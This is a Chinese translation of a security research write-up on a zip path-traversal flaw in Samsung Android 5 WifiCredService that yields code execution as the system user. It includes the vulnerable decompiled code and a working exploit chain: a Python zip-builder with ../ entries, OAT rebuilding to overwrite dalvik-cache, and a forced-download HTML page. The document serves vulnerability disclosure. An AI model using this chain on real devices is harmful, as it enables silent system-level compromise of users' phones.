<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/10642

    From:http://blog.quarkslab.com/remote-code-execution-as-system-user-on-android-5-samsung-devices-abusing-wificredservice-hotspot-20.html

    0x00摘要


    該漏洞在幾個月前被Google Project Zero和Quarkslab團隊發現,最近才被披露出來。該漏洞只需用戶瀏覽一個網站或下載一個郵件附件或通過基本沒有任何權限的第三方惡意程序就可以觸發,據目前掌握的情況,該漏洞在所有三星安卓5.0設備上都可以以系統用戶身份進行遠程代碼執行。

    0x01 漏洞概述


    在三星安卓5.0設備上,有一個系統進程通過使用基于inotify機制的一個JAVA 對象FileObserver,來對設備目錄/sdcard/Download/進行文件監控。當一個文件以cred開頭并且以.zip為后綴的壓縮包文件在上述目錄被創建時,系統會調用一個解壓例程在/data/bundle/目錄解壓這個文件,并在解壓完畢后把壓縮包文件從/sdcard/Download/目錄里刪除。

    不幸的是,系統沒有對壓縮包里的文件名進行任何驗證,那就意味著一個以../開頭的文件將會被解壓到/data/bundle/以外的目錄。這樣就會導致攻擊者可以以系統權限寫任意內容到任意目錄。那么如果我們通過解壓例程精心構造一個目錄,在當前系統用戶權限允許的情況下覆蓋該目錄里的文件,最終必然會導致任意代碼執行。

    假如Google Chrome等瀏覽器保存下載文件的目錄或者Gmail保存附件的目錄為/sdcard/Download/,這樣一個遠程代碼執行漏洞就會產生。

    0x02 攻擊場景


    根據我們的研究,以下場景可以利用該漏洞進行攻擊:

    0x03 如何檢測該漏洞?


    為了快速、方便檢測該漏洞,我們在google開源工程Android VTS (https://play.google.com/store/apps/details?id=com.nowsecure.android.vts).上提供了一個模塊。這樣安裝了Android VTS就可以檢測設備是否存在漏洞。

    漏洞檢測效果如圖:

    0x04 細節分析


    以下分析在三星Galaxy S6上進行,存在漏洞代碼的應用為Hs20Settings.apk,它注冊了一個名為WifiHs20BroadcastReceiver的BroadcastReceiver(廣播接收服務),該服務在應用啟動的時候就會被執行,或者在某些WIFI事件(例如android.net.wifi.STATE_CHANGE)產生的時也會被執行。

    我們要記住一點,漏洞代碼可以在設備的任何一個地方。比如在 Samsung Galaxy S5設備上,漏洞代碼存在于SecSettings.apk里。

    當BroadcastReceiver被之前所述的事件觸發后,下面的代碼將會被執行:

    #!java 
    public void onReceive(Context context, Intent intent) {
      [...]
      String action = intent.getAction();
      [...]
      if("android.intent.action.BOOT_COMPLETED".equals(action)) {
          serviceIntent = new Intent(context, WifiHs20UtilityService.class);
          args = new Bundle();
          args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);
          serviceIntent.putExtras(args);
          context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);
      }
      [...]
    }
    

    每接收到一個事件,就會創建一個Intent,從而產生一個 WifiHs20UtilityService服務。在服務的構造函數里,特別是onCreate()方法里,我們可以看到新的對象 WifiHs20CredFileObserver的創建過程:

    #!java
    public void onCreate() {
      super.onCreate();
      Log.i("Hs20UtilService", "onCreate");
      [...]
      WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(
              this,
              Environment.getExternalStorageDirectory().toString() + "/Download/"
      );
      WifiHs20UtilityService.credFileObserver.startWatching();
      [...]
    }
    

    WifiHs20CredFileObserver被定義為FileObserver的子類:

     class WifiHs20CredFileObserver extends FileObserver {
    

    FileObserver對象在以下安卓文檔里被定義[3]

    監控任何進程對文件的訪問和改動,FileObserver 是一個摘要類,子類必須提供事件句柄onEvent(int, String)。每一個FileObserver實例監控一個文件或者目錄。如果一個目錄被監控,那么目錄里面的所有文件以及子目錄都會被監控。

    通過事件掩碼來定義針對文件的改變或操作。根據事件類型常量來描述在事件掩碼里可能的改變以及事件回調的實際情況。

    公共構造函數必須定義一個路徑和一個事件掩碼:

    FileObserver(String path, int mask)
    

    WifiHs20CredFileObserver的構造函數如下:

    #!java
    public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {
      WifiHs20UtilityService.this = arg2;
      super(path, 0xFFF);
      this.pathToWatch = path;
    }
    

    上面代碼片段中,FileObserver監控著 /sdcard/Download/目錄里所有有效類型的事件,實際上,掩碼 0xFFF代表的就是FileObserver.ALL_EVENTS。為了搞明白事件接收時的操作,我們必須看一下在WifiHs20CredFileObserver里重寫方法的事件函數 onEvent():

    #!java
    public void onEvent(int event, String fileName) {
        WifiInfo wifiInfo;
        Iterator i$;
        String credInfo;
        if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName
                .endsWith(".zip")))) {
            Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +
                    event);
            if(fileName.endsWith(".conf")) {
                try {
                    credInfo = this.readSdcard(this.pathToWatch + fileName);
                    if(credInfo == null) {
                        return;
                    }   
    
                    new File(this.pathToWatch + fileName).delete();
                    i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
                    while(i$.hasNext()) {
                        WifiHs20Timer.access$500(i$.next()).cancel();
                    }   
    
                    WifiHs20UtilityService.this.expiryTimerList.clear();
                    WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);
                    wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
                    if(!wifiInfo.isCaptivePortal()) {
                        return;
                    }   
    
                    if(wifiInfo.getNetworkId() == -1) {
                        return;
                    }   
    
                    WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.
                            mWifiManager.getConnectionInfo().getNetworkId(), null);
                }
                catch(Exception e) {
                    e.printStackTrace();
                }   
    
                return;
            }   
    
            if(fileName.endsWith(".zip")) {
                String zipFile = this.pathToWatch + "/cred.zip";
                String unzipLocation = "/data/bundle/";
                if(!this.installPathExists()) {
                    return;
                }   
    
                this.unzip(zipFile, unzipLocation);
                new File(zipFile).delete();
                credInfo = this.loadCred(unzipLocation);
                if(credInfo == null) {
                    return;
                }   
    
                i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
                while(i$.hasNext()) {
                    WifiHs20Timer.access$500(i$.next()).cancel();
                }   
    
                WifiHs20UtilityService.this.expiryTimerList.clear();
                Message msg = new Message();
                Bundle b = new Bundle();
                b.putString("cred", credInfo);
                msg.obj = b;
                msg.what = 42;
                WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);
                wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
                if(!wifiInfo.isCaptivePortal()) {
                    return;
                }   
    
                if(wifiInfo.getNetworkId() == -1) {
                    return;
                }   
    
                WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager
                        .getConnectionInfo().getNetworkId(), null);
            }
        }
    }
    

    當一個 type 為8 (FileObserver.CLOSE_WRITE) 的事件被接收到時,開始對文件名進行一些檢查,當文件名以 cred 開頭并以.zip或.conf結尾時,就會進行一些處理。其他情況 FileObserver將不做處理。

    當受監控的文件被寫入監視目錄時,會發生兩個場景:

    我們只對第二個場景感興趣。通過標準ZipInputStream類進行解壓時,它有一個廣為人知的問題[4],就是如果不對文件名進行驗證的時候,就會產生一個文件遍歷漏洞。這個漏洞有點類似于 @fuzion24報告的三星鍵盤更新機制的漏洞[5]

    下面是精簡后的unzip()函數代碼,為了便于觀看,try/catch 標簽被刪除了:

    #!java
    private void unzip(String _zipFile, String _location) {
       FileInputStream fin = new FileInputStream(_zipFile);
       ZipInputStream zin = new ZipInputStream(((InputStream)fin)); 
    
       ZipEntry zentry; 
    
       /* check if we need to create some directories ... */
       while(true) {
         label_5:
           zentry = zin.getNextEntry();
           if(zentry == null) {
               // exit
           }    
    
           Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());
           if(!zentry.isDirectory()) {
               break;
           }
           /* if the directory does'nt exist, the _dirChecker will create it */
           this._dirChecker(_location, zentry.getName());
       }    
    
       FileOutputStream fout = new FileOutputStream(_location + zentry.getName());  
    
       int c;
       for(c = zin.read(); c != -1; c = zin.read()) {
           if(fout != null) {
               fout.write(c);
           }
       }    
    
       if(zin != null) {
         zin.closeEntry();
       }    
    
       if(fout == null) {
           goto label_45;
       }    
    
       fout.close();
    label_45:
       MimeTypeMap type = MimeTypeMap.getSingleton();
       String fileName = new String(zentry.getName());
       int i = fileName.lastIndexOf(46);
       if(i <= 0) {
         goto label_5;
       }    
    
       String v2 = fileName.substring(i + 1);
       Log.v("Hs20UtilService", "Ext" + v2);
       Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));
       goto label_5;
      }
     }
    

    從上面代碼可以看到,沒有對文件遍歷問題進行驗證。因此,如果我們把cred.zip 或者cred[something].zip 寫進 /sdcard/Download/目錄,WifiHs20CredFileObserver會自動(沒有其他用戶干預時)解壓文件到/data/bundle/ 目錄,并刪除.zip文件。由于沒有對.zip里的文件名進行驗證,任何一個以../開頭的文件,都會被解壓到/data/bundle/以外,并且已存在的文件會被覆蓋,同時解壓操作是以系統用戶身份進行的。

    現在,我們來思考一下怎么進行代碼執行。

    0x05 漏洞攻擊


    首先我們構造一個任意文件名的zip文件,用 python腳本很容易實現:

    #!python
    from zipfile import ZipFile 
    
    with ZipFile("cred.zip", "w") as z:
        z.writestr("../../path/filename", open("file", "rb").read())
    

    現在,怎么進行代碼執行呢?當你有以系統用戶身份寫任意數據到任何地方的能力的時候,一個經典的做法就是覆蓋dalvik-cache。安卓5.0 dalvikvm已經被ART runtime替代。和ODEX 文件一樣,壓縮包管理器通過調用dex2oat來生成 .apk 里面的OAT文件,并把文件以.dex為后綴寫入到/data/dalvik-cache/目錄。因此,最終我們依然可以通過這種方法進行代碼執行。

    不幸是(依據你自身的環境,也可能不是這種壞的情況),覆蓋dalvik-cache來進行代碼執行現在非常困難。對于現在的ROM,dalvik-cach目錄的控制權掌握在root用戶里,并且 SELinux[6][7]對寫權限有嚴格限制。

    一些老的三星ROM,比如 G900FXXU1BNL9 或 G900FXXU1BOB7,并沒有這些SELinux[6][7]限制,這些設備漏洞是比較容易利用的。這設備的ROM里,雖然dalvik-cache的宿主是root,但是沒有那些規則限制,不會阻止我們覆蓋dalvik-cache。文章里我們將以這些ROM為例來進行漏洞分析,因為本文重點不是來分析如何通過覆蓋dalvik-cache以外的方法來進行代碼執行。

    現在,我們有了一個可以被攻擊的ROM,我們還需要找到一個目標應用(以系統用戶身份運行),以便來改寫它的OAT文件,同時我們還要精心構造我們自己的OAT文件。

    找到一個好的安卓目標應用程序并非易事,我們必須在記住以下3點:

    1. 解壓例程是JAVA代碼編寫的,加壓的時候是一字節一字節進行,對于大文件非常慢。
    2. 覆蓋正在運行的應用的OAT文件,可能會導致該應用崩潰,并且不會非常穩定 :)。
    3. 你將如何通過該應用來進行代碼執行?

    實際上,我們需要找一個小的OAT文件,但想要安全的覆蓋它幾乎不可能。

    這里比較完美的一個選擇如下:

    [email protected]:/ $ ls -al [email protected]@[email protected]@classes.dex
    -rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 [email protected]@[email protected]@classes.dex
    

    觀察這個應用的manifest文件,發現它有自動運行的能力,它通過注冊一個 BroadcastReceiver服務,監聽android.intent.action.BOOT_COMPLETED事件來自動運行:

    #!html
    <manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">
        <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">
            [...]
            <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">
                <intent-filter>
                    <action android:name="android.intent.action.BOOT_COMPLETED" />
                    <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />
                </intent-filter>
            </receiver>
            [...]
        </application>
    </manifest>
    

    因此,如果我們把我們自己的代碼放在AccessControlReceiver類的onReceive()方法里,設備每次啟動的時候我們的代碼也會被執行。

    下面讓我們驗證一下。

    首先我們需要獲得 AccessControl應用的原始代碼:

    > adb pull /system/app/AccessControl/arm/ .
    pull: building file list...
    pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
    pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz
    2 files pulled. 0 files skipped.
    273 KB/s (72428 bytes in 0.258s)
    > ls
    AccessControl.odex.art.xz  AccessControl.odex.xz
    > xz -d *
    > file *
    AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
    AccessControl.odex.art: data
    

    我們獲得了ART ELF (OAT)文件,但是我們需要修改它的dalvik字節碼,我們可以通過oat2dex utility [8]來產生相應的dalvik字節碼:

    > python oat2dex.py /tmp/art/AccessControl.odex
    Processing '/tmp/art/AccessControl.odex'
    Found DEX signature at offset 0x2004
    Got DEX size: 0xe944
    Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'
    > file *
    [...]
    AccessControl.odex.0x2004.dex: Dalvik dex file version 035
    [...]
    > baksmali AccessControl.odex.0x2004.dex -o smali
    

    然后我們對AccessControlReceiver進行補丁,以增加我們的代碼到它的 onReceive()方法里:

    > find smali/ -iname '*receiver*'
    smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
    > vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
    [...]
    .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
      .registers 10 
    
    +  # adding the following code:
    +  const-string v0, "sh4ka"
    +  const-string v1, "boom!"
    +  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I
    [...]
    > smali smali/ -o classes.dex
    

    通過我們修改過的DEX來重建ART ELF file (OAT)文件,我們需要用dex2oat命令[9]行來進行:

    > adb pull /system/app/AccessControl/AccessControl.apk .
    1462 KB/s (259095 bytes in 0.173s)
    > sudo chattr +i AccessControl.apk
    > cp AccessControl.apk Modded.apk
    > zip -q Modded.apk classes.dex
    > python -c 'print len("/system/app/AccessControl/AccessControl.apk")'
    43
    > python -c 'print 43-len("/data/local/tmp/Modded.apk")'
    17
    > mv Modded.apk Modded$(python -c 'print "1"*17').apk
    > ls
    AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali
    > adb push Modded11111111111111111.apk /data/local/tmp
    1144 KB/s (284328 bytes in 0.242s)
    > adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat
    > adb pull /data/local/tmp/modified.oat .
    1208 KB/s (172464 bytes in 0.139s)
    > file modified.oat
    modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
    > sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat
    

    最后,我們通過創建好的ZIP文件來對這個漏洞進行攻擊:

    > cat injectzip.py
    import sys
    from zipfile import ZipFile 
    
    with ZipFile("cred.zip","w") as z:
      z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())
    > python injectzip.py ../../../../../..[email protected]@[email protected]@classes.dex /tmp/art/modified.oat
    > zipinfo cred.zip
    Archive:  cred.zip
    Zip file size: 172750 bytes, number of entries: 1
    ?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../..[email protected]@[email protected]@classes.dex
    1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%
    

    這里有很多方法來觸發漏洞,比如訪問一個網頁,強制讓瀏覽器下載ZIP文件:

    #!html
    <html>
    <head><script type="text/javascript">document.location="/cred.zip";</script></head>
    <body></body>
    </html>
    

    或者為了方便方便測試,我們用adb命令發送一個文件到/sdcard/Download/:

    > adb push cred.zip /sdcard/Download/
    > adb logcat WifiCredService:V *:S
    --------- beginning of main
    --------- beginning of system
    I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8
    V/WifiCredService( 4599): Unzipping********** ../../../../../..[email protected]@[email protected]@classes.dex
    V/WifiCredService( 4599): Extdex
    V/WifiCredService( 4599): Mime Typenull
    

    下次重啟后,將會顯示下面的信息:

    > adb reboot; adb logcat sh4ka:V *:S
    - waiting for device -
    --------- beginning of system
    --------- beginning of main
    F/sh4ka   ( 3613): boom!
    

    上述過程證明了我們通過覆蓋 dalvik-cache來進行代碼執行。當然這個方法并不完美,因為在不利的設備或者比較特別的ROM上,我們要苦心的構造OAT文件。測試該漏洞,需要多個操作步驟。首先我們讓設備以一個低權限用戶身份運行,同時精力集中在穩定性上(比如不覆蓋 dalvik-cache文件)。然后我們以低權限身份訪問系統,直接利用設備上的dex2oat工具來為 AccessControl.apk建立一個兼容的OAT文件,最后在SDCard上創建一個包含了自己的OAT文件的名字類似 cred[something].zip的ZIP文件,覆蓋掉 dalvik-cache,最后獲得系統權限的代碼執行。

    0x06 總結


    如文中所見,OEM定制仍然是安卓安全中最薄弱的環節。當你的智能手機給你一個機會,可以通過一個邏輯漏洞來獲得一個100%穩定的exploit,你會愿意繞過沙箱或者擊敗系統保護機制(ASLR/canary/...) 來獲得這個穩定的exploit嗎?

    再次強調一下,該漏洞產生的根本原因是通過ZipInputStream進行解壓操作的時候沒有對文件名進行驗證而造成的。當然,將來可能這里會有一些驗證…………。

    0x07 引用


    97av